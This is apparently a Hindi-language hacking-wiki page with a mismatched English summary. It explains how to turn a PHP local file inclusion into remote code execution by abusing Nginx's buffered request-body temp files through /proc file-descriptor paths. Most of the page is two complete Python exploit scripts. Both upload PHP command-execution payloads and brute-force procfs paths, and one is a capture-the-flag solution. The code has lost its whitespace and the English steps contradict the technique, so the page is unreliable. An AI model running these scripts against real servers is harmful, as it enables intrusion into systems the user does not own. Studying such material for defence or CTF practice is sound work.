भाग्य से PHP वर्तमान में अक्सर PHP-FPM और Nginx के माध्यम से डिप्लॉय किया जाता है। Nginx एक आसानी से छूट जाने वाली client body buffering सुविधा प्रदान करता है जो अस्थायी फ़ाइलें लिखेगा अगर ग्राहक बॉडी (पोस्ट को सीमित नहीं किया गया) निश्चित एक सीमा से अधिक है।
यह सुविधा LFIs को उत्पादित किसी अन्य तरीके के बिना शोषित करने की अनुमति देती है, अगर Nginx एक ही उपयोगकर्ता के रूप में PHP के रूप में चलता है (बहुत सामान्य रूप से www-data के रूप में किया जाता है)।
यह स्पष्ट है कि tempfile को Nginx द्वारा खोलने के तुरंत बाद ही unlinked किया जाता ह। भाग्य से procfs का उपयोग किया जा सकता है ताकि रेस के माध्यम से गायब फ़ाइल का संदर्भ प्राप्त किया जा सके:
ध्यान दें: इस उदाहरण में /proc/34/fd/15 को सीधे शामिल नहीं किया जा सकता क्योंकि PHP का include फ़ंक्शन पथ को /var/lib/nginx/body/0000001368 (deleted) तक हल करेगा जो फ़ाइल सिस्टम में मौजूद नहीं है। यह छोटी सी प्रतिबंध भाग्य से कुछ अंतर्दृष्टि द्वारा उमकर्षित किया जा सकता है जैसे: /proc/self/fd/34/../../../34/fd/15 जो अंततः हटाई गई /var/lib/nginx/body/0000001368 फ़ाइल की सामग्री को क्रियान्वित करेगा।
पूर्ण शोषण
#!/usr/bin/env python3import sys, threading, requests# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for detailsURL =f'http://{sys.argv[1]}:{sys.argv[2]}/'# find nginx worker processesr = requests.get(URL, params={'file': '/proc/cpuinfo'})cpus = r.text.count('processor')r = requests.get(URL, params={'file': '/proc/sys/kernel/pid_max'})pid_max =int(r.text)print(f'[*] cpus: {cpus}; pid_max: {pid_max}')nginx_workers = []for pid inrange(pid_max):r = requests.get(URL, params={'file': f'/proc/{pid}/cmdline'})ifb'nginx: worker process'in r.content:print(f'[*] nginx worker found: {pid}')nginx_workers.append(pid)iflen(nginx_workers)>= cpus:breakdone =False# upload a big client body to force nginx to create a /var/lib/nginx/body/$Xdefuploader():print('[+] starting uploader')whilenot done:requests.get(URL, data='<?php system($_GET["c"]); /*'+16*1024*'A')for _ inrange(16):t = threading.Thread(target=uploader)t.start()# brute force nginx's fds to include body files via procfs# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
defbruter(pid):global donewhilenot done:print(f'[+] brute loop restarted: {pid}')for fd inrange(4, 32):f =f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'r = requests.get(URL, params={'file': f,'c': f'id'})if r.text:print(f'[!] {f}: {r.text}')done =Trueexit()for pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()
LFI to RCE via Nginx Temporary Files
Introduction
In this scenario, we will exploit a Local File Inclusion (LFI) vulnerability to achieve Remote Code Execution (RCE) by abusing Nginx temporary files.
Steps
Identify Nginx Temporary Directory: Locate the directory where Nginx stores temporary files. This is typically /var/lib/nginx/tmp.
Create a PHP Shell: Craft a PHP shell and save it with a .php extension.
Access the PHP Shell via LFI: Use the LFI vulnerability to include the PHP shell in a request to the server.
Trigger the PHP Shell: Access the PHP shell through a URL that corresponds to the Nginx temporary directory, causing the PHP shell to be executed.
Achieve Remote Code Execution: Once the PHP shell is triggered, you have successfully achieved Remote Code Execution on the server.
Conclusion
By leveraging an LFI vulnerability in combination with Nginx temporary files, an attacker can escalate their access and execute arbitrary code on the target system. It is crucial for system administrators to secure their applications and servers to prevent such attacks.
import requestsimport threadingimport multiprocessingimport threadingimport randomSERVER ="http://localhost:8088"NGINX_PIDS_CACHE =set([34, 35, 36, 37, 38, 39, 40, 41])# Set the following to True to use the above set of PIDs instead of scanning:USE_NGINX_PIDS_CACHE =Falsedefcreate_requests_session():session = requests.Session()# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overheadadapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)session.mount('http://', adapter)return sessiondefget_nginx_pids(requests_session):if USE_NGINX_PIDS_CACHE:return NGINX_PIDS_CACHEnginx_pids =set()# Scan up to PID 200for i inrange(1, 200):cmdline = requests_session.get(SERVER +f"/?action=read&file=/proc/{i}/cmdline").textif cmdline.startswith("nginx: worker process"):nginx_pids.add(i)return nginx_pidsdefsend_payload(requests_session,body_size=1024000):try:# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fastpayload ='<?php system("/readflag"); ?> //'requests_session.post(SERVER +"/?action=read&file=/bla", data=(payload + ("a"* (body_size -len(payload)))))except:passdefsend_payload_worker(requests_session):whileTrue:send_payload(requests_session)defsend_payload_multiprocess(requests_session):# Use all CPUs to send the payload as request body for Nginxfor _ inrange(multiprocessing.cpu_count()):p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))p.start()defgenerate_random_path_prefix(nginx_pids):# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path =""component_num = random.randint(0, 10)for _ inrange(component_num):pid = random.choice(nginx_pids)if random.randint(0, 1)==0:path +=f"/proc/{pid}/cwd"else:path +=f"/proc/{pid}/root"return pathdefread_file(requests_session,nginx_pid,fd,nginx_pids):nginx_pid_list =list(nginx_pids)whileTrue:path =generate_random_path_prefix(nginx_pid_list)path +=f"/proc/{nginx_pid}/fd/{fd}"try:d = requests_session.get(SERVER +f"/?action=include&file={path}").textexcept:continue# Flags are formatted as hxp{<flag>}if"hxp"in d:print("Found flag! ")print(d)defread_file_worker(requests_session,nginx_pid,nginx_pids):# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd inrange(10, 45):thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))thread.start()defread_file_multiprocess(requests_session,nginx_pids):for nginx_pid in nginx_pids:p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))p.start()if__name__=="__main__":print('[DEBUG] Creating requests session')requests_session =create_requests_session()print('[DEBUG] Getting Nginx pids')nginx_pids =get_nginx_pids(requests_session)print(f'[DEBUG] Nginx pids: {nginx_pids}')print('[DEBUG] Starting payload sending')send_payload_multiprocess(requests_session)print('[DEBUG] Starting fd readers')read_file_multiprocess(requests_session, nginx_pids)